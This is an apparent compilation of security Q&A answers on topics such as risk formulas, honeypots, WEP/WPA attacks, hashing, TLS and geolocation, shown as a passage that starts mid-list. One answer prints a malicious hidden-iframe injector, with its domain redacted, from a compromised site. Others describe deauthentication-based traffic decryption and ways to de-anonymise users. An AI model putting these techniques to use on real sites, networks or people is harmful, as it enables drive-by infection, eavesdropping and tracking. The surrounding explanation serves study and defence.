Someone hacking into the publisher's systems and taking a copy (possibly from a site providing review copies)
The author releasing a copy (perhaps to friends or family)
Some are simply free


According to Google's privacy policy, they do not share personally identifiable information.  Google has made their entire business on acting as an information gate keeper.  You don't buy information about a person from Google, you buy either broad demographic information for analytic purposes or you buy access to have an ad displayed to demographics of your choosing.

You will probably notice that ads start showing up for job search sites when you access pages around the Internet, and it is possible that someone might notice that looking over your shoulder and put 2 and 2 together, but other than that, the information should be well protected by Google as it is not just your income stream in jeopardy but theirs as well.

For more details, I suggest you read Google's privacy policy to see what information they do and don't share.


At what criteria should an unpatched machine be considered hacked?

"Average length of time that an announced vulnerability has widespread exploitation", T

"Attractiveness of server as a target", A, on a qualitative scale of 1-5 (higher number representing more attractiveness).

"Ease of exploitation", E, using the CVE score as a basis of common comparison

(T/A) x E = N

Considering that T is now considered to be measured in days (page 1-2), N can be very short, indeed.

That is why mitigation techniques are important, where AV and IDS vendors are faster at implementing detection for announced exploits than Operators are at patching them.

EDIT:

I thought I was employing a variation on standard InfoSec Risk Formulas, and so I thought I would propose the above as a springboard for discussion. But, I am also happy to dig through my material to provide references to where the above framework comes from and my justifications for modifying them.

First: Dillard, K., Pfost J., The Security Risk  Management Guide, Microsoft Press, 2004

Second: Munteanu, A., Information Security Risk Assessment: The Qualitative Versus Quantitative Dilemma, Managing Information in the Digital Economy: Issues & Solutions 227

Dillard proposes the following formula to calculate the Threat Frequency Level:
TFL = TP × (C / E)

Where:
TP = Threat Probability
C = Criticality of attack
E = Effort to exploit

Munteanu criticizes Dillard’s approach, saying that it does not include a time element, specifically the "average time period for releasing technical procedures to reduce or accept threat”, which Munteanu calls one of the variables of Exposure Time. Exposure Time seems directly relevant to the OP’s question regarding “time to patch”. As TFL is a qualitative factor, and time is a quantitative factor that needs to be a direct relationship, a multiplicative approach seemed appropriate.

So, using a combination of Dillard’s original formula and Munteanu’s proposed modification to calculate a Threat Frequency Level based on historical time to patch, we arrive at:

TFLp = TP x (C / E) x ET

By taking the same model, and instead calculating the TFL based on patching (based on historic data on the time to patch), but instead to replace the time variable with the average time for widespread exploitation (WE), we can calculate the TFL for exploitation:

TFLe = TP x (C / E) x WE

How then does this apply to my hastily written original formula? First, we can equate my “Attractiveness” scale to Dillard’s “Threat Probability”. Probability is measured as a ratio (a number from 0 - 1). To properly represent the relationship if we changed TP to a scale from 1-5, we would have to change it from direct to inverse, so:

TFLe = (C / E) x WE / A

Second, Dillard’s “Effort” (E) is inverse to my “Ease” (E), so that relationship, too needs to change:

TFLe = C x E x (WE / A)

Accepting that Dillard’s WE is synonymous with my T, and that “Criticality” is not a concern of the OP:

TFLe = E x (T / A)

Which looks suspiciously like my original formula...

Is my original formula mathematically exactly similar to the Dillard/Munteanu formulas? No, of course not. But I think mine serves as a useful simplification of the general concepts.


Cowrie as a decoy on production server: is it a good idea?

Custom-coded honeypots should not be run on production servers. Honeypots are meant to gather data, but are not meant to be unbreakable. The Dev for Cowrie says in his FAQ:

  However, Cowrie has not had any real security audit done on it, and
  it's definitely vulnerable to some DoS attacks, as there are no limits
  on how many people can connect to it, or how many files they can
  download.

  It's my recommendation to run Cowrie on a dedicated well firewalled
  Virtual Machine as the non-root user.

There are types of honeypots that are a reconfigured production service, and you might use those on production servers because the threat is no lower than running the production service.

You have to remember that you are inviting people with nefarious motives into your server. Whatever tools you give them will be used against you. The general advice is to keep the honeypots segregated and automatically refreshed on a regular basis so that it does not become a launching pad for the attacker.


Have you tried using the test vectors in the GnuPG \tests\openpgp folder? The GnuPG source can be downloaded from here.


Handling sensitive data for a web application

I think one main problem for the first approach is that once the passcode is lost by the user, there is no way at all to ever recover it (without brute-force). Depending on the kind of information that might be a requirement though.

So coming to the linked article it will explain how it solves that problem.
It has more comfort and lets you implement it in the hopefully already existing change password algorithm to always generate a new KEK and re-encrypt the DEK.
The password is more unlikely to be forgotten


Using MySQL in .NET and other easily-decompiled languages?

You should never put the password in the code. In general your connection settings live outside the compiled application code; for C# that would generally be in an app.config XML file, encrypted if need be.

But either way, if the application is able to make direct connections to the database, it has to know the password, and there is nothing you can do to stop the user recovering that information. If your model is relying on a client-side datum remaining secret, you're doomed. You'd need to reconsider where you are putting the security checks, for example by putting database access at the server-side, with only per-user application passwords at the client-side.


Regarding Forget password security implementation

My suggestion is to pass the buck to the big guys: throw out your custom implementation and use something like OAuth to have your users sign in with google or facebook -- just like StackExchange!

If you must keep things the same: why do you assume password resets are always due to hackers? Have you measured why password resets occur? I'd bet most of them are due to users simply forgetting their passwords (i.e. I think you're starting with bad assumptions and you're going to degrade the experience for the majority of users while only protecting a small percentage of users).


Running jobs as local administrator vs domain administrator and their risks

How do you deal with jobs that must be run with elevated privileges using admin account? Will running the job with local admin be more secure than run with a domain admin account?

Are you sure that the jobs must be run with administrator privileges. Do they really use every single ability delegated by that permission? Using a domain administrator account obviously allows the script administrator access or all of the domain computers (and servers). Also the ability to adjust domain membership and group policy. They might add another account to the domain administrator group for example. Local administrator is a lower privilege and is much safer.

  How do I secure the jobs that are run using admin account.

Prevent users from modifying them.

On a server computer with restricted access this is relatively feasible. If the jobs take non-trusted user input, they must be programmed securely to prevent remote code execution style vulnerabilities (not a small topic).

On desktop machines where the user can boot a thumbdrive or even take the hard drive out (evil maid attack) the protection of these scripts is less certain.


Someone used my router to set up their own network

Okay answer: If you changed the router password and the wifi password they shouldn't be able to get in.

Better answer: I'd recommend a configuration reset on the router by using a paperclip on the tiny hole in the back (depending on your model) check for the latest firmware and set your own passwords complex passwords.

Best of luck, let me know if you have any questions!


cases where companies suffered losses due to leaks of source code?

I can think of numerous cases over many years especially in cases of start-ups. The theft of IP (intellectual property) allows other companies to get to market first. You do not hear of these cases because the companies are so small, but the damage is total: companies shut down before they really start.

The same is true in research circles when an academic wants to bring research into the commercial market. There can be massive competition and corporate espionage is very real.

And the source code does not need to be used exactly as it was stolen. Parts of the code can be used, or the code analysed in order to create something better.

You also need to define "harm". Loss in stock price is only one form of harm. Loss of sales is another. Software piracy is another form of harm (sales), depending on how you define it (yes, I am aware that this is a complex issue).

If you think about it another way, every single (valid) software patent case is a form of IP theft that resulted in harm, which resulted in a lawsuit to recover losses.

Examples of "source code leaks" in the InfoSec industry alone:

RSA SecurID token source code leak:
RSA needed to replace all user's physical tokens. So, there's a direct cost. In the community I was in at that time, we all started to seriously look at software tokens instead as a result of this event (Google Authenticator was released the year before). That financial hit would be difficult to quantify.

RSA is an LLC, and not a public company, so there is no stock price to track.

Symantec source code leak:
While the stock price did not take a hit, it shook confidence in the detection engine as hackers could custom design malware that could evade this specific detection engine. This caused a re-write of their code, so there's a direct cost.

There are lots and lots of examples if you know what you are looking for. Including Wiki.


Can ISPs selectively block a page URL on a HTTPS website leaving its other page URLs alone?

No, the ISP cannot block specific HTTPS protected pages because it cannot determine which page is being accessed.
HTTPS does not hide the server that is being accessed, because it needs the SNI (Server Name Indication) to be on the clear, so the server can know which certificate to use on the connection. Once the handshake is established, everything else is encrypted, including which page you are requesting.
So the ISP have two non-optimal ways to answer: don't block anything, or block the entire server.

Encrypted SNI is actually a thing (I think Cloudflare did add support back in 2018). Admittedly I have no idea how widespread it is. – s1lv3r

Encrypted SNI is a thing for the future. It is part of the TLS 1.3 specification, but isn't something that can be enabled by changing a configuration option on the webserver. It needs changes on the DNS records, and support from the webserver. It still don't have widespread support among webservers and web browsers, and is still not mature enough for high-traffic servers to adopt it.
ESNI would help hide the domain you are accessing from your ISP and government (depending heavily on your network configuration), but would not help the ISP selectively block pages on the domain.


How much identifying information is in a photograph?

Typically only EXIF data will be present in a smartphone or indeed any digital camera.

Of course, from EXIF data, you can identify the camera make and model and possibly the location of the image capture.

You are right in that in theory the differences in digitisers and post processing would enable at least the camera or lens to be identified by specialist processing even without the metadata.

If a specialist got hold of a smartphone/camera and some images, it is also likely that they would be able to match one to the other as well due to differences in the manufacturing though I don't know how reliable that would be.


tl/dr: Just let flash die.

Adobe officially announced the End-of-Life for Flash a while back.  It will officially be EOL at the very end of this year (2020).  This means that there will no longer be new or updated flash players after that.

Given the long history of dangerous flash vulnerabilities, using unpatchable software with a history of dangerous bugs is probably a bad idea.  The biggest danger (which has happened in the past) are vulnerabilities that allow a malicious flash program to escape its sandbox and execute commands directly on your machine.  This would allow an attacker to compromise your machine and install malware simply because you visited the wrong website.

Again, given that such vulnerabilities have happened with Flash before, it's safe to assume that more such issues will be discovered once Flash is EOL and will no longer receive updates.  Therefore, enabling Flash as a browser extension is dangerous and, unless you like malware, should probably be avoided.  If you really have some hardcore nostalgia for all those Flash games of the 00's, then I would suggest running it in an isolated environment.  I.e. consider running in a browser inside a VM that is used for no other purposes and is trashed when you are done.  If you continue to use Flash in the long run though you should assume that it will eventually result in malware being installed on your machine without your knowledge.


Prevent CSRF attack using regular expression, session storage, and auth token?

Yes, you do still need an anti-CSRF implementation of some kind as you're still not able to verify the origin of the request.

To make a CSRF attack a little bit more clear, please have a look at this diagram:

An implementation of anti-CSRF, using PHP, can be found here.


Attacking WEP -- Question on Packet Injection

(1) You are correct, if you have traffic on the AP you're sniffing you can get enough IV just beeing passive, there's no need to inject ARP request to generate new IV to crack WEP.

(2) The encryption is done at the network layer, ARP is on the data-link layer, so no, it's not encrypted, as stated in it's definition RFC826 ARP is broadcast, so why would you even want to encrypt it? Sorry for the misleading answer / wrong information.

(2) ARP response packets actually are encrypted and this is actually how it helps with the generation of IVs.

How ARP Request Replay Attack works:

  The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.

So basically you just listen for ARP and then retransmits it so generate more IVS enought to crack WEP.


Using authentication only one time passwords

I'd say just a code on the phone is weaker than username and password (because you can loose a phone and someone might abuse it). Combining them is a form of multi-factor authentication:

something you know (password and username)
something you have (phone with text message)

and depending on the level of authentication you need, this is considered a good and strong form of authentication.


Just to show you what this script does as it's always interesting the obfuscation techniques people use.

<?
#68c8c7#  echo " ";
#/68c8c7#
?>

And the 'asgq' variable had the following code:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('

');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

I have taken out the URL as I don't think it's a good idea for people to be going to websites that may contain malware.


Are web sites with non-https login pages secure?

No, such sites can eventually never be secure, since the information which is transfered can always be looked at and it can always be modified on it's travel or on the client side e.g. by malicious browser-add ons or any other malicious software running of the client.

This is particularly true, if the machine is a public "kiosk" mode operated terminal.

The above is true, regardless if authentication and/or encryption (confidentiality, integrity) is considered; none of this can be ensured without encrypting the communication.


Unique(ish) OS / hardware fingerprinting

The Electronic Frontier Foundation (EFF)'s Panopticlick site is dedicated to browser fingerprinting that goes well beyond your desired 1:1000 entropy (using these methods, pretty much every browser is unique).

Their implementation is designed to show you how hard it is to be anonymous online, so the site has a good amount of explanation, including a detailed technical writeup as well as some pointers in how to defend against this sort of tracking.

Please respect people's privacy.  It's one thing to track people through logins.  It's another thing to track them without their knowledge and/or permission.

  Ideally, if someone already visited the page but returns with a different IP and via a different browser I would be able to make an "informed" guess whether or not that visitor is returning.

There should be enough data specific to hardware and OS to get a fingerprint that is agnostic to the browser within your desired 1:1000, but you may be able to get further with fuzzy matching so long as you are comfortable with collisions between different users (which is another privacy issue).


Can you find out how big the changes are by comparing two hashes?

No, at least with a good hash function.
You can test this yourself by creating a hash over a specific data set, and then a modified hash over a different data set. You will see that every bit of the resulting hash function has about a 50% chance of flipping.
I'll demonstrate this by creating the SHA-256 hash of the string MechMK1:
$ echo -n "MechMK1" | sha256sum
2c31be311a0deeab37245d9a98219521fb36edd8bcd305e9de8b31da76e1ddd9

When converting this into binary, you get the following result:
00101100 00110001 10111110 00110001 00011010 00001101 11101110 10101011
00110111 00100100 01011101 10011010 10011000 00100001 10010101 00100001
11111011 00110110 11101101 11011000 10111100 11010011 00000101 11101001
11011110 10001011 00110001 11011010 01110110 11100001 11011101 11011001

Now I calculate the SHA-256 hash of the string MechMK3, which changes one bit of the input:
$ echo -n "MechMK3" | sha256sum
3797dec3453ee07e60f8cf343edb7643cecffcf0af847a73ff2a1912535433cd

When converted to binary again, you get the following result:
00110111 10010111 11011110 11000011 01000101 00111110 11100000 01111110
01100000 11111000 11001111 00110100 00111110 11011011 01110110 01000011
11001110 11001111 11111100 11110000 10101111 10000100 01111010 01110011
11111111 00101010 00011001 00010010 01010011 01010100 00110011 11001101

I compared both results and checked how often a bit differed from both hashes, and exactly 128, or 50% of all bits differed. If you would like to play around with this yourself and see what kind of results you get, I created a simple C program that does exactly that.


AES 128bit decryption using a key longer than 16 bytes

128bit AES has 128 bit keys by definition. If the key is 32 bytes, it's AES-256.
Perhaps your key consists of 32 hex characters, which only map to 16 bytes or 128 bits.
Note that all variants of AES, map to MCRYPT_RIJNDAEL_128 in php, since that 128 is the block size and AES has 128 bit blocks regardless of the key size.
As Xander said, your code it very weak since it uses ECB mode. Use authenticated encryption instead.


Why do coffee shops not use WPA/WPA2? Would it solve many problems if they did?

Instead of continuing in the comments, I think I will just answer your real question, which I understand to be - why is using WPA/WPA2 Personal with a public SSID and Passphrase not more secure than having an open network, and why doesn't WPA/WPA2 Enterprise work in the coffee shop scenario.

If the passphrase was public (as it would be in this scenario) and WPA/WPA2 personal is in use, anybody who has the passphrase and SSID name can decrypt anybody else's wireless traffic, as long as they can capture the initial 4-way handshake for that client (which occurs when connecting to the network).  If someone wants to decrypt someone's future traffic but did not monitor their client's initial 4-way handshake, they can simply force a new handshake between that client and the AP using a targeted deauthentication, at which point you would be able to capture the new 4-way handshake and decrypt all of their future traffic.  Of course, if the client under attack were to use a VPN, SSH tunnel, TLS, or some other strong encryption mechanism over the wireless, that traffic would be protected to the extent that the mechanism that they chose allows.

The reason why their traffic can be decrypted is that WPA/WPA2 personal creates a pairwise master key from the passphrase and SSID used when logging in.  The PMK is then used to create a Pairwise Transient Key and Groupwise Temporal key, where the PTK is unique per client and the GTK is shared for all currently connected clients (for broadcast traffic).  This PTK can be derived from the PMK using information from the 4-way handshake (which is negotiated in plain text).  Therefore, if you are able to sniff the 4-way handshake, you can get the information used to derive that client's PTK from the PMK that you already know because you know the passphrase and SSID (usually by doing PBKDF2(Passphrase, SSID, ssidlen, 4096, 256)).

WPA enterprise doesn't work well because everyone would need a way to authenticate, whether credentials (EAP-PEAP), certificate (EAP-TLS), or other (various other EAP modes), and this wouldn't support the coffee shop's goal of providing free wireless access to nearby individuals.


Provide the clients a random key (long-lived, or temporary) in the https sessions. Include the user id in the datagrams (if you don't have it yet). Sign the datagrams with a HMAC algorithm, verify the datagrams HMAC on the server.
Use DTLS.


If you want to use hashcat (or the package you linked to that simply wraps hashcat), you will need to install or build the hashcat binaries.
Otherwise, you would likely need to look for another password-cracking library, or implement it yourself. However, you will not achieve the performance of hashcat by using Python.


Securely erase data from a flash drive vs hard disk

It all depends on the OS you're using and the firmware used inside your SSD. There are two problems, frequently occurring.

When using windows, it has a function called Volume Shadow Copy Service (VSS). What this does, is keeping an extra copy of every file (indexed) on a different part of your "disk". If you're using cheap "secure" deletion software that doesn't recognize VSS, that may only deletes the main copy, so that there could be extra copies present on your disk.
Now, as you noticed, I didn't specify above what that disk was, but if it's an SSD that is emulating a normal HD, there is an additional problem. This is because SSD's cannot erase partial file blocks, only whole blocks, so every time you make a small change to a file, it just copies that/those block(s) to a new one and only deleting the inode of those blocks. This means that the data is still there after deletion, unless you issue the SSD a 'secure delete' command. However, this in turn depend on how well that is supported in both your OS and the SSD firmware.

Normally it should be enough with 1-2 over-write passes to securely delete anything, given that you are re-formatting the entire disk or those parts containing data. One method for accomplishing this is by formatting any disk with 0's and when erasing files, looking for non-zero regions, not part of an inode tree and write random data to those locations. Low Level Format!


Why have export controls for cryptography?

Export regulations are the offspring of international treaties, in particular the Wassenaar Arrangement. The idea is that once countries decide that strong cryptography must be regulated within their borders, these countries make deals with other countries so that those other countries do not recklessly export strong cryptographic products, neither to them, nor to third parties who are deemed "not trustworthy enough" to receive them (e.g. the arrangement restricts export from USA to France and also from USA to North Korea, but not for the same reasons !).

Cryptography is here treated as if it was a kind of assault rifle. Indeed, until about a dozen years ago, cryptography was officially classified by the USA as ammunition. This implies the same kind of controls than those for importing or exporting weapons.

We can thank (or curse) the Web, and especially the whole let's-buy-things-on-the-Web business, for the normalization of cryptography: most crypto-related regulations which have been passed in the last decade have been designed so that it became legal to provide, export and import Web browsers with SSL support, for non-joke key lengths. Legislative bodies around the world are slowly coming to the realization that cryptography is not necessarily a bad guy tool; individuals and corporations may be entitled to use them for their own protection, too, especially in areas where more classical law enforcement agencies do not have the technical means to ensure the safety of everybody. SSL is legal because there is no practical way to proactively prevent eavesdropping.


a lot of them are written in assembly or C to keep the binary size as small as possible.

It's not about the size, but about external dependency.

Malware is usually written in Assembly or C to minimize external dependency. If a malware is written, let's say, in .Net Framework 4.6.2, and the victim runs Windows XP, it will not work. This is why authors remain mostly with C libraries, as they are usually installed on every computer they want to infect.

A small executable written in Assembly will load and execute way faster than a large executable made with ElectronJS, for example. This maximizes the amount of time the malware can be run without the user detecting something amiss. A large malware consuming lots of memory will stand out if the user goes to Task Manager and looks at the resource consumption.

It will demand way less infrastructure from the C&C servers, so the attackers can rent a cheap hosting server and infect a lot of users, or compromise another server to host the malware. A small size means the owner of the compromised server will not detect the infection for a longer time. A large, 100MB malware being sent to thousands of users will alarm anyone taking care of the server.


Is `iss` property in JWT tokens redundant?

Think of the Issuer as kind of a namespace. Your subject, which identifies the principal, usually has some kind of id. If the id is simply an autoincrement integer from a database, it will most likely be not unique if you accept JWT from different issuers within one application.
Have a look at RFC 7519, where states uder 4.1.2: The subject value MUST either be scoped to be locally unique in the context of the issuer or be globally unique.
4.1.1.  "iss" (Issuer) Claim

   The "iss" (issuer) claim identifies the principal that issued the
   JWT.  The processing of this claim is generally application specific.
   The "iss" value is a case-sensitive string containing a StringOrURI
   value.  Use of this claim is OPTIONAL.

4.1.2.  "sub" (Subject) Claim

   The "sub" (subject) claim identifies the principal that is the
   subject of the JWT.  The claims in a JWT are normally statements
   about the subject.  The subject value MUST either be scoped to be
   locally unique in the context of the issuer or be globally unique.
   The processing of this claim is generally application specific.  The
   "sub" value is a case-sensitive string containing a StringOrURI
   value.  Use of this claim is OPTIONAL.


Is there a reason to use both SSL & IPSec together?

Absolutely. In fact, I'm posting this answer using both IPSec (via VPN) and TLS (via HTTPS). As you noted, the technologies are similar as they both provide confidentiality and integrity on communications. Sometimes, as discussed in gowenfawr's answer, there is little value of using the two combined, but sometimes there is value.

Both protocols encrypt the contents of messages but leave the envelope unencrypted. The envelope contains information about the protocol being communicated and the site that you are communicating with. So, someone watching my home network connection can see that I'm using IPSec to connect to my VPN provider but they cannot tell that I'm posting on StackExchange. If I wasn't using VPN, someone monitoring my home network connection would see that I'm posting on StackExchange (specifically security.SE), but not be able to see what I'm posting or to what question I'm responding to.

I should point out that the VPN doesn't totally hide my connection to StackExchange, it just hides it between my home and my VPN provider. Someone watching my VPN provider's outbound connection would see the posting to StackExchange, they just wouldn't be able to match it to me.

So this answer posting is IPSec and TLS encrypted between my home and my VPN provider and just TLS encrypted from my VPN provider to StackExchange.

Whether this is an interesting distinction or not is up to you. It will likely depend on the task you are performing.


The question is asked mostly to protect you from phishing attacks. The website may fake an Operating system, and ask you to enter sensitive information like passwords. To quote the spec:

  User agents should ensure, e.g. by means of an overlay, that the end
  user is aware something is displayed fullscreen. User agents should
  provide a means of exiting fullscreen that always works and advertise
  this to the user. This is to prevent a site from spoofing the end user
  by recreating the user agent or even operating system environment when
  fullscreen.

There is also a very good discussion of this issue from Feross Aboukhadijeh, who also describes the security risks of allowing keyboard input.


Does Kali installed through WSL respect my privacy?

As mentioned in the comments of this question, Windows has many telemetry features. Ones which you cannot disable, either. There are some settings you can change to reclaim some privacy but in general, you cannot remove all the tracking features. This makes it a horrible operating system as far as privacy is concerned.
Additionally, their service agreement effectively gives them control over any content you generate on their system. This is also terrible for both you and your privacy.
If you're concerned about your privacy then don't use Windows at all. It is a horrible OS in terms of privacy.


Why is logjam rated as "None" for confidentiality impact in CVSS?

I can't tell you how NVD came up with their, let's call it baseline rating. But I can tell you that not all vendors have followed that baseline rating.

Ratings survey

(AV:N/AC:M/Au:N/C:N/I:P/A:N), 4.3, NVD

And if manually change this to (AV:N/AC:M/Au:N/C:P/I:P/A:N), then you get Overall CVSS Score 5.8.

(AV:N/AC:M/Au:N/C:N/I:P/A:N), 4.3, Juniper. Same as NVD.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, Polycom. C:P/I:N instead.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, IBM. C:P/I:N instead.
(AV:N/AC:M/Au:N/C:P/I:N/A:N), 4.3, RedHat. C:P/I:N instead.
(AV:N/AC:H/Au:N/C:P/I:P/A:P), 5.1, SCIP VulDB. C:P instead.

I don't understand the baseline either.

FIRST.org gives some CVSS examples on how you're supposed to score vulnerabilities. I'm assuming that for these examples they have been careful to rate correctly.

They are scored using both CVSS v2 and CVSS v3.

And they list two SSL/TLS vulnerabilities. Number 3, which is POODLE. And number 20, which is a ChangeChiperSpec vulnerability. And they both score "C:P (partial)" in CVSS v2.

And going by these examples I would score Logjam as C:P as well. NVD hasn't. I don't know why.

Edit history

For the long and convoluted evolution of this post, see the edit history.


Securing REST API that will accessed from different clients

Assuming your application is a web application, then OAuth2 is going to provide the best user experience.  HTTP Basic Auth is not a great user experience.

You can also allow your resellers to use the OAuth2 authentication, whether by rebranding the OAuth page, wrapping it, or other techniques.  The reseller application could be limited in the scopes available to it, and thus you can limit the operations available to the reseller apps.


How to encode user authentication in a barcode

There is no such standard. What the barcode (or QR code) provide is a way to encode some text information.

Encode, not encrypt - so it is readable by the relevant software which can decode the scanned data.

Using this as an authentication system is similar to printing out a password on the badge.


Resource for determining the ramifications of disabling various ciphers

While it doesn't specifically address the approaches you ask about, Qualys SSL Labs Server Test emulates the behavior of a wide number of clients and allows you to see which clients would be unable to communicate with the current configuration.  In this snip from the current grade for security.stackexchange.com, you can see that IE 6 / XP is not compatible.

You can spin up a test site for the purpose of experimenting with different configurations, and correlate what you learn against the user agents found in your logs before shifting the configuration to your live site.


Modifying a SHA256 system to be ASIC resistant

A problem with SHA256 is that it's fast, which makes it possible to verify many possible passwords each second. A standard way to make a password hashing function slow is to perform many iterations of an underlying hash function. For example, PBKDF2 is more or less a loop of hash calculations. When performing 10,000 hash calculations for one password, cracking also becomes 10,000 times slower.
ASICs may be faster at computing hashes, but they differ from general computers in that they lack memory. Scrypt tries to take advantage of that, by requiring memory for the hash function. By requiring a couple of MB of memory, the hash is still easy to compute for computers, but it becomes harder and more expensive to implement that in ASICs.
Finally, I would recommend Argon2 as a password hash function. Another password hashing function such as bcrypt, scrypt or PBKDF2 are also fine. But hashing passwords with a single round of SHA256 is really not sufficient, especially if you are worried about attackers with custom hardware and unlimited budget.

I propose we use a variable we will call 'sugar' which would be a bit of data added to the salted hash

This is usually called a pepper, and I would say there is no consensus on whether using a pepper is a good idea from a security point of view.


What's the chance of two PGP keys being exactly identical?

If we assume that your random number generator isn't completely borked, then

  what's the chance of two PGP keys being exactly identical?

can be answered with approximately something raised to the power of negative infinity. Or in other words: it's not going to happen.

We can work this out by assuming that an "average" PGP public key uses a 2048-bit RSA modulus. Because at least the first bit of the modulus must always be 1, the effective modulus length is one bit shorter. (The exact technical and mathematical discussion behind this is a little more involved, but this should be good enough for now.)

I don't know how common semiprimes (products of two prime numbers) are in that range, but let's be generous and put the probability of any random number in that range being a semiprime at 10^-10. 10^-10 is about 2^-33. This is the ratio of natural numbers in the desired range to actual valid RSA moduli in that range.

Hence, the combined effect is to effectively reduce the number of possible moduli by some 34 bits compared to if we were just to pick a number of sufficient length at random. (Because of the magnitude of these numbers, the decimal fractions simply aren't relevant here.)

Hence, we go from 2^2048 to 2^2014 (or thereabouts) possible RSA moduli.

Let's say ten million keys are generated every day. This is probably on the high side, but again, we're playing generous. Again, that's about 2^33 keys. Let's also say that we're doing this for 100 years, and only care whether two keys come out to have the same moduli (we don't need to store them, or compare them to each other, or anything else like that, because all of that adds overhead to our process that is customarily ignored in cryptographic theory). 2^33 * 365 (days) * 100 (years) ~ 2^48. We have shaved an additional effective 48 bits, coming out to 2^1966. Even if we assume billions of keys per day, that only shaves of an additional three orders of magnitude (corresponding to 30 bits) or so.

We conclude that the probability of, over 100 years and assuming that we properly generate ten million keys per day, leading to two keys randomly being generated to have the same modulus thus comes out to about 2^-1966 or 10^-592. The number 2^-1966 can be compared to that by the year 2040, we might just barely be able to count up to 2^138 in ten years. It's a long way up the exponential curve from 2^138 to 2^1966, and we'd still have to actually do something with each counted number (like, say, generate a RSA key).

Even just storing all 2048-bit RSA moduli, assuming the 10^-10 ratio mentioned above, would take about 2^2015 * 2048/8 ~ 10^609 bytes (10^610 bits) of storage. If we could somehow come up with a way of storing one bit per baryon in the entire observable universe and access all that storage instantaneously, then we would need only a measly about 10^530 universes to do this.

If you don't want to take the easy route, then even as hard as it is, factoring the modulus is going to be much, much easier than relying on random chance to give you a duplicate key. And besides rubber hose cryptanalysis, factoring rather than pure random coincidence is the threat you need to worry about. Figures vary between different estimates, but at present, 2048-bit RSA is estimated to give about 100-130 bits of security (2^100 ~ 2^130 work factor) against known methods of attack, which for the time being is sufficient unless your threat model includes long-term efforts by highly funded adversaries, in which case you might want to go with a modulus of 3072-4096 bits (4096 bits RSA providing about 110-140 bits of security, depending on who you ask).


You don't.

If a device is in your physical possession, then you can have unlimited access to it. If it is someone else's physical possession, then they have unlimited access to it.

If you want to protect yourself from them, then don't let them have your server.


How can I detect real location of the user through their IP address?

Geo-ip location accuracy varies wildly from country to country and from provider to provider. Some smaller countries have very accurate internal mappings of IP's to postal addresses but this type of data is generally not available to the public.

Note: Different Geo-IP address databases may also have different location data for the same IP address so you may also want to double-check the quality of your source data.

Alternative ways to gain more accurate information:

Methods people/organizations use to get more accurate geo-ip information include the following:

1.) HTML5 Geolocation especially if the remote device is a mobile device with GPS or GPS like triangulation features this may give you much more accurate info than the Geo-IP address. If the device does not use GPS it may alternatively leverage the local wireless SSID information and compare that other datasets to determine it's physical location, Google and Skyhook wireless have large databases of end user SSID's mapped to physical locations. Note: If you can get the SSID there are other public databases of where SSID's have been seen mapped to physical locations.

http://www.w3schools.com/html/html5_geolocation.asp

http://locationdetection.mobi/

2.) Purchase information about the IP address from advertisers who can confirm the owners shipping location via aggregation based on other activity notably past sales & shipping information. Matching aggregate regular and hidden cookie information to the account owner to help identify the person or people who use a given IP is far more telling than GeoIP information.

3.) See if you can match the IPv4 address to an IPv6 address on the same host. In many cases the IPv4 geolocation may not be as accurate or up-to-date as the IPv6 geolocation information for the same host.

There are likely many other ways to do this.

It may also be helpful to read some of the FAQ's at commercial providers of GeoIP data such as Maxmind to give you an idea of how accurate the data may be.

https://support.maxmind.com/

Finally it should be noted that some elements of this information such as HTML5 geolocation and unique cookies may be sent to the web server allowing someone to identify a user that may otherwise be trying to disguise their address via a proxy or a service like Tor. This is one of the specific reasons Tor users need to be careful about their implementation and how they are using the service.


WireShark only showing broadcast packets

Put your Wifi card in monitor mode by doing something similar to airmon-ng start wlan0. Then run Wireshark on that interface. You should be able to see some packets other than those meant for your desktop. However when you put it in monitor mode it constantly keeps hopping over the various channels. It'll only capture packets on the channel it is currently on. Hence if all your devices are on different channels, it'll be difficult to monitor all the packets in the air. You can have your access point to use only a specific channel, put the Wifi card on that specific channel(look at airmon-ng options), then sniff with Wireshark on that interface.


Anonymity with Tor in wifi connection (student house)

If you use Tor or a VPN they cannot detect easily (that is without compromising your computer) which sites you visit, but they can still see how much bandwidth you use. And while they will not see the sites you visit they can just suspect the visiting of special sites from the fact that you try to hide it.


Doh! The MS -> SGSN is 0, SGSN -> MS is 1: they have put it into appendix - probably just to make it easier to find.


Information Security standards in corporations

I think the question is too general to expect a specific answer. So I will answer it with a general answer. In general OWASP is a good source for web application security especially their Development Guide.


Isn't the BBC being extremely irresponsible in describing how to authenticate an account-related email?

Very dangerous things could happen here, indeed. It would be laughably easy for a scammer to phish users.

A migration is an excuse many phishers already use:

  There was xyz problem in our user database [...] just "log in" or you won't be
  able to use our service.

So the legitimate reason

  we upgraded our ‘BBC iD’ sign-in system to ‘BBC Account’

aligns quite perfectly with these nefarious activities. Spammers could even put a "proof" with the website link. Users see that the email layout is the same, think oh, this is legit, click sign-in and send the credentials to the attackers.

Having access to a BBC account isn't much of a threat, as far as I know. However, for those users who have the same password in all sites (and no two-step verification), then you've got an easy way to access email, bank accounts, and the like.

The BBC dropped the ball hard. I'll be contacting them to fix the issue, I encourage you to do the same thing.


How are websites actually mititating BREACH? (HTTPS + compression)

There are several ways to mitigate BREACH effectively, but all of them have trade-offs. In order to understand how these mitigations work, we need to look at how BREACH exactly works:

How do I BREACH TLS security?

The secret ingredients, according to p. 10 of this presentation on BREACH, are as follows:

Compression of the response body
A stable page
A secret in the response body
Attacker-supplied data
A known prefix

What sticks out the most is that both attacker-supplied data and the client secret need to be in the same response. Furthermore, the attacker needs to be able to cause the client to receive a lot of responses, and all of them need to contain the modified input from the attacker.

So, for instance, if I wanted to use BREACH to extract your session cookie, I can't just write my payload (e.g. 4bf8dfc73...) into this answer body and update it continuously. You actually need to receive the response for every single update.

